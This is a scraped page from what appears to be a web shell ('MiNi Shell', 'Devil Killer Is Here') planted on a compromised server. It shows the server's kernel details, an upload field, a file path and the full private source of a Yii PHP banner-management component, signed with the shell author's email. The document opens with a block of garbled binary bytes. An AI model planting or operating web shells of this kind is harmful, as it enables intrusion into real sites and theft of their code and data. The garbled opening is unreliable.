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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/components/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/components/BannersManager.php

<?php

namespace frontend\components;

use Yii;
use yii\base\Component;
use yii\base\InvalidConfigException;
use yii\helpers\Html;
use common\models\types\BannerLocation;
use common\models\types\BannerFormat;
use common\models\types\Status;

class BannersManager extends Component 
{
    const CACHE_PREFIX = 'banners_portal_';
    const CACHE_DURATION = 1800;
    
    protected $allBanners;
    protected $banners;
    
    public function init()
    {
        parent::init();
        $this->loadBanners();
        $this->selectBanners();
    }
    
    //@todo ustalić, czy views_limit ma być dekrementowane w momencie wyświetlenia czy kliknięcia
    
    public static function refreshCacheAfterClick($idBanner, $location = null)
    {
        $allBanners = Yii::$app->cache->get(self::CACHE_PREFIX.Yii::$app->params['modelPortal']->id_portal);        
        if(empty($allBanners)) {
            return;
        }
        
        $flag = false;
        if(!empty($location) && !empty($allBanners[$location])) {            
            $flag = self::refreshBannerInCacheForLocation($idBanner, $location, $allBanners);
        }         

        if(!$flag) {
            foreach($allBanners as $location => $banners) {
                $flag = self::refreshBannerInCacheForLocation($idBanner, $location, $allBanners);
            }
        }
        
        return;
    }
    
    protected static function refreshBannerInCacheForLocation($idBanner, $location, $allBanners)
    {
        if(!empty($allBanners[$location])) {
            foreach($allBanners[$location] as $key => $banner) {
                if($banner['id'] !== $idBanner) {
                    continue;
                }                
                if(is_numeric($banner['views_limit'])) {
                    $banner['views_limit']--;                    
                    if($banner['views_limit'] < 1) {
                        unset($allBanners[$location][$key]);
                        if(!empty($allBanners[$location])) {
                            $allBanners[$location] = array_values($allBanners[$location]);
                        }
                    }
                    $cacheKey = self::CACHE_PREFIX.Yii::$app->params['modelPortal']->id_portal;
                    $cacheDependency = new \yii\caching\TagDependency(['tags' => ['banners_portal_'.Yii::$app->params['modelPortal']->id_portal, 'banners']]);
                    Yii::$app->cache->set($cacheKey, $allBanners, self::CACHE_DURATION, $cacheDependency); 
                }      
                return true;
            }
        }
        
        return false;
    }


    protected function loadBanners()
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        $this->allBanners = Yii::$app->cache->get(self::CACHE_PREFIX.$modelPortal->id_portal);        
        if($this->allBanners === false) {
            $this->allBanners = [];
            $actualDate = date('Y-m-d');
            $modelsBanners = $modelPortal->getBanners()
                    ->where([
                        'status' => Status::ACTIVE
                    ])
                    ->andWhere([
                        'or', 
                        [
                            'and', 
                            ['not', ['date_start' => null]],
                            ['not', ['date_end' => null]],
                            ['<=', 'date_start', $actualDate], 
                            ['>=', 'date_end', $actualDate],
                            ['or', ['views_limit' => null], ['>', 'views_limit', 0]]
                        ], 
                        [
                            'and', 
                            ['not', ['date_start' => null]],
                            ['date_end' => null],
                            ['<=', 'date_start', $actualDate],
                            ['or', ['views_limit' => null], ['>', 'views_limit', 0]]
                        ], 
                        [
                            'and', 
                            ['date_start' => null],
                            ['not', ['date_end' => null]],
                            ['>=', 'date_end', $actualDate],
                            ['or', ['views_limit' => null], ['>', 'views_limit', 0]]
                        ], 
                        [
                            'and', 
                            ['date_start' => null],
                            ['date_end' => null],
                            ['or', ['views_limit' => null], ['>', 'views_limit', 0]]
                        ]
                    ])
                    ->all();


            if(!empty($modelsBanners)) {
                foreach($modelsBanners as $modelBanner) {
                    $this->allBanners[$modelBanner->location][] = [
                        'id' => $modelBanner->id_banner,
                        'id_company' => $modelBanner->id_company,
                        'title' => $modelBanner->title,
                        'filename' => $modelBanner->filename,
                        'filename_alternative' => $modelBanner->filename_alternative,
                        'caption' => $modelBanner->caption,
                        'source_code' => $modelBanner->source_code,
                        'url' => $modelBanner->url,
                        'statistics_code' => $modelBanner->statistics_code,
                        'format' => $modelBanner->format,
                        'width' => $modelBanner->width,
                        'height' => $modelBanner->height,
                        'views_limit' => $modelBanner->views_limit,
                        'or_link_visible' => $modelBanner->or_link_visible,
                        'or_only_on_mainpage' => $modelBanner->or_only_on_mainpage
                    ];
                }
                unset($modelsBanners);
            }

            $cacheKey = self::CACHE_PREFIX.Yii::$app->params['modelPortal']->id_portal;
            $cacheDependency = new \yii\caching\TagDependency(['tags' => ['banners_portal_'.Yii::$app->params['modelPortal']->id_portal, 'banners']]);
            Yii::$app->cache->set($cacheKey, $this->allBanners, self::CACHE_DURATION, $cacheDependency);
        }
    }
    
    protected function selectBanners()
    {
        $orMainpage = !empty(Yii::$app->controller) && Yii::$app->controller->id === 'index' && Yii::$app->controller->action->id === 'index'; 
        $sessionBanners = Yii::$app->session->get('banners');
        $this->banners = [];
        foreach(BannerLocation::$values as $position) {
//            if(empty($this->allBanners[$position])) {
//                continue;
//            }
//            
//            if(!isset($sessionBanners[$position]['last'])) {
//                $key = array_rand($this->allBanners[$position]);                        
//            } else {
//                $key = (intval($sessionBanners[$position]['last']) + 1) % count($this->allBanners[$position]);
//            }
            $last = isset($sessionBanners[$position]['last']) ? $sessionBanners[$position]['last'] : null;
            $key = $this->getKeyForPosition($position, $last, $orMainpage);
            if($key === false) {
                continue;
            }
            
            $this->banners[$position] = $this->allBanners[$position][$key];
            $sessionBanners[$position]['last'] = $key; 
        }        
        Yii::$app->session->set('banners', $sessionBanners);
    }
    
    protected function getKeyForPosition($position, $last = null, $orMainpage = false)
    {
        if(empty($this->allBanners[$position])) {
            return false;
        }
        
        if(!isset($last)) {
            $key = array_rand($this->allBanners[$position]);                        
        } else {
            $key = (intval($last) + 1) % count($this->allBanners[$position]);
        }
        
        if(!$orMainpage && $this->allBanners[$position][$key]['or_only_on_mainpage'] === 1) {
            for($i = 0; $i < count($this->allBanners[$position]); $i++) {
                $key = ($key + 1) % count($this->allBanners[$position]);
                if($this->allBanners[$position][$key]['or_only_on_mainpage'] === 0) {
                    return $key;
                }
            }
            
            return false;
        }
        
        return $key;
    }
    
    public function getBanners()
    {
        return $this->banners;
    }
    
    public function getBanner($position) 
    {
        return isset($this->banners[$position]) ? $this->banners[$position] : null;
    }
    
    public function bannersExists($positions)
    {
        if(empty($positions) || empty($this->banners)) {
            return false;
        }
        if(!is_array($positions)) {
            $positions = explode(",", $positions);
            if(!empty($positions)) {
                foreach($positions as $key => $position) {
                    $positions[$key] = trim($position);
                }
            }
        }
        
        foreach($positions as $position) {
            if(!empty($this->banners[$position])) {
                return true;
            }
        }
        
        return false;
    }
    
    public function renderBanner($position, $class = '') 
    {
        if(empty($this->banners[$position])) {
            return null;
        }
        $banner = $this->banners[$position];
        
        $output = null;
        switch($banner['format']) {
            case BannerFormat::GIF:
            case BannerFormat::JPG:
            case BannerFormat::PNG:
            case BannerFormat::WEBP:   
                switch($position) {
                    case BannerLocation::BANNER_I1:
                        $output = $this->renderImgWallpaper($banner,''); 
                        break;
                    case BannerLocation::BANNER_I2:
                        $output = $this->renderImgWallpaper($banner,'wallpaper-affix'); 
                        break;
                    case BannerLocation::BANNER_M1:
                        if(strpos($class, 'render-as-normal') === false) { 
                            $output = $this->renderImgElevatorTwo($banner, $class, 'left'); 
                        } else {
                            $output = $this->renderImgNormal($banner, $class);
                        }
                        break;
                    case BannerLocation::BANNER_M2:
                        if(strpos($class, 'render-as-normal') === false) {
                            $output = $this->renderImgElevatorTwo($banner, $class, 'right');  
                        } else {
                            $output = $this->renderImgNormal($banner, $class);
                        }                            
                        break;
                    case BannerLocation::BANNER_L:
                        $output = $this->renderImgSlide($banner, 'toplayer', $class);  
                        break;
                    case BannerLocation::BANNER_K:
                        $output = $this->renderImgSlide($banner, 'flyfooter', $class);  
                        break;
                    case BannerLocation::BANNER_N1:
                        $output = $this->renderImgSlide($banner, 'scroller', $class);  
                        break;
                    case BannerLocation::BANNER_N2:
                        $output = $this->renderImgSlide($banner, 'topscroller', $class);  
                        break;
                    case BannerLocation::BANNER_J:
                        $output = $this->renderImgParalax($banner);
                        break;
                    case BannerLocation::BANNER_A:
                    case BannerLocation::BANNER_B1:
                    case BannerLocation::BANNER_B2:
                        //@todo chwilowo zakomentowałem - potestuj sobie
//                        $output = $this->renderImgAsBackgroundNormalAlternative($banner, '');                        
                        $output = $this->renderImgNormalAlternative($banner,'');
//                        
                        #$output = '<div class="preload '.$class.'" id="banner-'.$banner['id'].'" style="width:'.$banner['width'].'px;max-width:100%;height:'.$banner['height'].'px;display:block;"><script>document.addEventListener("DOMContentLoaded", function(){document.getElementById("banner-'.$banner['id'].'").innerHTML = \''.$output.'\';});</script></div>';
                        $output = '<div class="'.$class.'" id="banner-'.$banner['id'].'" style="width:'.$banner['width'].'px;max-width:100%;height:'.$banner['height'].'px;display:block;">'.$output.'</div>';
                        break;                    
                    default: 
                        $output = $this->renderImgNormal($banner,'');
                        #$output = '<div class="preload '.$class.'" id="banner-'.$banner['id'].'" style="width:'.$banner['width'].'px;max-width:100%;height:'.$banner['height'].'px;"><script>document.addEventListener("DOMContentLoaded", function(){document.getElementById("banner-'.$banner['id'].'").innerHTML = \''.$output.'\';});</script></div>';
                        $output = '<div class="'.$class.'" id="banner-'.$banner['id'].'" style="width:'.$banner['width'].'px;max-width:100%;height:'.$banner['height'].'px;">'.$output.'</div>';
                        break;
                }
                break;
            case BannerFormat::HTML5:
            case BannerFormat::GOOGLE:
                $output = $banner['source_code'];
                break;
        }
        
        return $output;
    }
    
    protected function renderImgNormalAlternative($banner, $class)
    {
        $output = Html::img(Yii::getAlias('@bannersImagesUrl').'/'.$banner['filename'], ['loading' => 'lazy', 'class' => ($banner['filename_alternative']?'banners-alternative-sm':''), 'alt' => $banner['title'], 'width' => $banner['width'], 'height' => $banner['height'], 'style' => 'height: auto; width: 100%; max-width: '.$banner['width'].'px;']);
        if(!empty($banner['filename_alternative'])) $output.= Html::img(Yii::getAlias('@bannersImagesUrl').'/'.$banner['filename_alternative'], ['loading' => 'lazy', 'class' => 'banners-alternative-xs', 'alt' => $banner['title'], 'width' => $banner['width'], 'height' => $banner['height'], 'style' => 'max-width: 100%; height: auto;']);
        if(!empty($banner['url'])) {
            if($banner['or_link_visible'] === 1) {
                $output = Html::a($output, $banner['url'], ['class' => 'banner-with-visible-link text-center block', 'target' => '_blank', 'data' => ['id' => $banner['id']]]);
            } else {
                $output = Html::a($output, ['index/baner', 'id' => $banner['id']], ['class' => 'text-center block mb05', 'target' => '_blank']);
            }
        }
        
        return $output;
    }
    
    //@todo chwilowo zakomentowałem - potestuj sobie
//    protected function renderImgAsBackgroundNormalAlternative($banner, $class)
//    {
//        $bannerFileUrl = Yii::getAlias('@bannersImagesUrl').'/'.$banner['filename'];
//        $output = '<div '
//                    . 'class="banner-lazy-loading-on-mobile'.($banner['filename_alternative'] ? ' banners-alternative-sm' : '').'" '
//                    . 'style="background-image: url(\''.$bannerFileUrl.'\'); width: 100%; max-width: '.$banner['width'].'px; height: auto;" '
//                    . 'data-url="'.$bannerFileUrl.'" '
//                    . 'data-width="'.$banner['width'].'" '
//                    . 'data-height="'.$banner['height'].'" '
//                    . 'title="'.$banner['title'].'">'
//                . '</div>';
//        if(!empty($banner['filename_alternative'])) {
//            $bannerAlternativeFileUrl = Yii::getAlias('@bannersImagesUrl').'/'.$banner['filename_alternative'];
//            $output = '<div '
//                        . 'class="banner-lazy-loading-on-mobile banners-alternative-xs" '
//                        . 'style="background-image: url(\''.$bannerAlternativeFileUrl.'\'); max-width: 100%; height: auto;" '
//                        . 'data-url="'.$bannerAlternativeFileUrl.'" '
//                        . 'data-width="'.$banner['width'].'" '
//                        . 'data-height="'.$banner['height'].'" '
//                        . 'title="'.$banner['title'].'">'
//                    . '</div>';
//        }
//        if(!empty($banner['url'])) {
//            if($banner['or_link_visible'] === 1) {
//                $output = Html::a($output, $banner['url'], ['class' => 'banner-with-visible-link text-center block', 'target' => '_blank', 'data' => ['id' => $banner['id']]]);
//            } else {
//                $output = Html::a($output, ['index/baner', 'id' => $banner['id']], ['class' => 'text-center block mb05', 'target' => '_blank']);
//            }
//        }
//        
//        return $output;
//    }
        
    protected function renderImgNormal($banner, $class)
    {
        $output = Html::img(Yii::getAlias('@bannersImagesUrl').'/'.$banner['filename'], ['loading' => 'lazy', 'class' => $class, 'alt' => $banner['title'], 'width' => $banner['width'], 'height' => $banner['height'], 'style' => 'width: 100%; max-width: '.$banner['width'].'px;']);
        if(!empty($banner['url'])) {
            if($banner['or_link_visible'] === 1) {
                $output = Html::a($output, $banner['url'], ['class' => 'banner-with-visible-link', 'target' => '_blank', 'aria-label' => $banner['title'], 'data' => ['id' => $banner['id']]]);
            } else {
                $output = Html::a($output, ['index/baner', 'id' => $banner['id']], ['target' => '_blank', 'aria-label' => $banner['title']]);
            }
        }
        
        return $output;
    }
    
    protected function renderImgElevator($banner, $class, $side)
    {
        $output = Html::img(Yii::getAlias('@bannersImagesUrl').'/'.$banner['filename'], ['loading' => 'lazy', 'class' => $class, 'alt' => $banner['title'], 'style' => 'width: '.$banner['width'].'px; height: '.$banner['height'].'px;']);
        if(!empty($banner['url'])) {
            if($banner['or_link_visible'] === 1) {
                $output = Html::a($output, $banner['url'], ['id' => $side.'lift', 'class' => 'banner-with-visible-link', 'target' => '_blank', 'aria-label' => $banner['title'], 'data' => ['id' => $banner['id'], 'spy' => 'affix', 'offset-top' => 150]]);
            } else {
                $output = Html::a($output, ['index/baner', 'id' => $banner['id']], ['id' => $side.'lift', 'target' => '_blank', 'aria-label' => $banner['title'], 'data' => ['spy' => 'affix', 'offset-top' => 150]]);
            }
        } else {
            $output = Html::tag('div', $output, ['id' => $side.'lift', 'data' => ['spy' => 'affix', 'offset-top' => 150]]);
        }
        
        return $output;
    }
    
    protected function renderImgElevatorTwo($banner, $class, $side)
    {
        $output = Html::img(Yii::getAlias('@bannersImagesUrl').'/'.$banner['filename'], ['loading' => 'lazy', 'class' => $class, 'alt' => $banner['title'], 'style' => 'width: '.$banner['width'].'px; height: '.$banner['height'].'px;']);
        if(!empty($banner['url'])) {
            if($banner['or_link_visible'] === 1) {
                $output = Html::a($output, $banner['url'], ['id' => $side.'lift', 'class' => 'banner-with-visible-link', 'target' => '_blank', 'aria-label' => $banner['title'], 'data' => ['id' => $banner['id'], 'spy' => 'affix', 'offset-top' => 150]]);
            } else {
                $output = Html::a($output, ['index/baner', 'id' => $banner['id']], ['id' => $side.'lift', 'target' => '_blank', 'aria-label' => $banner['title'], 'data' => ['spy' => 'affix', 'offset-top' => 150]]);
            }
        } else {
            $output = Html::tag('div', $output, ['id' => $side.'lift']);
        }
        
        return $output;
    }    
    
    protected function renderImgSlide($banner, $id, $class)
    { 
        $output = Html::img(Yii::getAlias('@bannersImagesUrl').'/'.$banner['filename'], ['class' => $class, 'alt' => $banner['title'], 'style' => 'width: '.$banner['width'].'px; height: '.$banner['height'].'px;']);        
        if(!empty($banner['url'])) {
            if($banner['or_link_visible'] === 1) {
                $output = Html::a($output, $banner['url'], ['class' => 'banner-with-visible-link', 'target' => '_blank', 'data' => ['id' => $banner['id']]]);
            } else {
                $output = Html::a($output, ['index/baner', 'id' => $banner['id']], ['target' => '_blank']);
            }
        }        
        
        if($id !== 'topscroller') {
            $output .= Html::button($id === 'flyfooter' ? '&raquo;' : '&times;', ['class' => 'close', 'data' => ['close' => $id]]);
            $output = Html::tag('div', $output, ['id' => $id, 'class' => 'close', 'data' => ['timeout' => $id === 'scroller' ? 15000 : 10000]]);
        } else {
            $output = Html::tag('div', $output, ['id' => $id]);
        }
        
        return $output;
    }
    
    protected function renderImgWallpaper($banner,$class)
    {
        $output = '';
        
        if(!empty($banner['url'])) {
            if($banner['or_link_visible'] === 1) {
                $output = Html::a('', $banner['url'], ['id' => 'wallpaper', 'style' => 'background-image:url("'.Yii::getAlias('@bannersImagesUrl').'/'.$banner['filename'].'");', 'class' => 'banner-with-visible-link '.$class, 'target' => '_blank', 'data' => ['id' => $banner['id']]]);
            } else {
                $output = Html::a('', ['index/baner', 'id' => $banner['id']], ['id' => 'wallpaper', 'target' => '_blank', 'style' => 'background-image:url("'.Yii::getAlias('@bannersImagesUrl').'/'.$banner['filename'].'");', 'class' => $class]);
            }
        } else {
            $output = Html::tag('div', '', ['id' => 'wallpaper', 'style' => 'background-image:url("'.Yii::getAlias('@bannersImagesUrl').'/'.$banner['filename'].'");', 'class' => $class]);
        }   
        
        return $output;
    }
    
    protected function renderImgParalax($banner)
    {        
        if(!empty($banner['url'])) {
            if($banner['or_link_visible'] === 1) {
                $aTag = Html::a(Yii::t('frontend', 'Zobacz więcej'), $banner['url'], ['class' => 'banner-with-visible-link', 'target' => '_blank', 'data' => ['id' => $banner['id']]]);
            } else {
                $aTag = Html::a(Yii::t('frontend', 'Zobacz więcej'), ['index/baner', 'id' => $banner['id']], ['class' => 'btn btn-lg btn-default btn-parallax', 'target' => '_blank']);
            }
        } else {
            $aTag = '';
        }
        
        $output = '<section class="container-fluid" id="parallax" style="background-image: url('.Yii::getAlias('@bannersImagesUrl').'/'.$banner['filename'].');">'
                    . '<div class="clearfix"></div>'
                    . '<div class="center">'
                        . '<div>'
                            . ((!empty($banner['caption'])) ? '<p>'.$banner['caption'].'</p>' : '')
                            . ((!empty($aTag)) ? '<p>'.$aTag.'</p>' : '')
                        . '</div>'
                    . '</div>'
                . '</section>';
        
        return $output;
    }
    
    public function renderRightSidebarBanners($class = '') 
    {
        $positions = [
            BannerLocation::BUTTON_A2, BannerLocation::BUTTON_A3, BannerLocation::BUTTON_A4, BannerLocation::BUTTON_A5, BannerLocation::BUTTON_A6, 
            BannerLocation::BUTTON_B1, BannerLocation::BUTTON_B2, BannerLocation::BUTTON_B3, BannerLocation::BUTTON_B4, BannerLocation::BUTTON_B5, BannerLocation::BUTTON_B6,
            BannerLocation::BUTTON_C1, BannerLocation::BUTTON_C2, BannerLocation::BUTTON_C3, BannerLocation::BUTTON_C4, BannerLocation::BUTTON_C5, BannerLocation::BUTTON_C6, 
            BannerLocation::BUTTON_D1, BannerLocation::BUTTON_D2, BannerLocation::BUTTON_D3, BannerLocation::BUTTON_D4, BannerLocation::BUTTON_D5, BannerLocation::BUTTON_D6,
            BannerLocation::BUTTON_E1, BannerLocation::BUTTON_E2, BannerLocation::BUTTON_E3, BannerLocation::BUTTON_E4, BannerLocation::BUTTON_E5, BannerLocation::BUTTON_E6, 
            BannerLocation::BUTTON_F1, BannerLocation::BUTTON_F2, BannerLocation::BUTTON_F3, BannerLocation::BUTTON_F4, BannerLocation::BUTTON_F5, BannerLocation::BUTTON_F6
        ];
        
        if(!($this->bannersExists([BannerLocation::BUTTON_G1, BannerLocation::BUTTON_G2]) && !$this->bannersExists([BannerLocation::BUTTON_G3]))) {
            array_unshift($positions, BannerLocation::BUTTON_A1);
        }
        if(!$this->bannersExists([BannerLocation::BUTTON_G1, BannerLocation::BUTTON_G2])) {
            array_unshift($positions, BannerLocation::BUTTON_G3);
        }
        
        $output = '';
        foreach($positions as $position) {
            $output .= $this->renderBanner($position, $class);
        }
        
        return $output;
    }
    
}

Creat By MiNi SheLL
Email: jattceo@gmail.com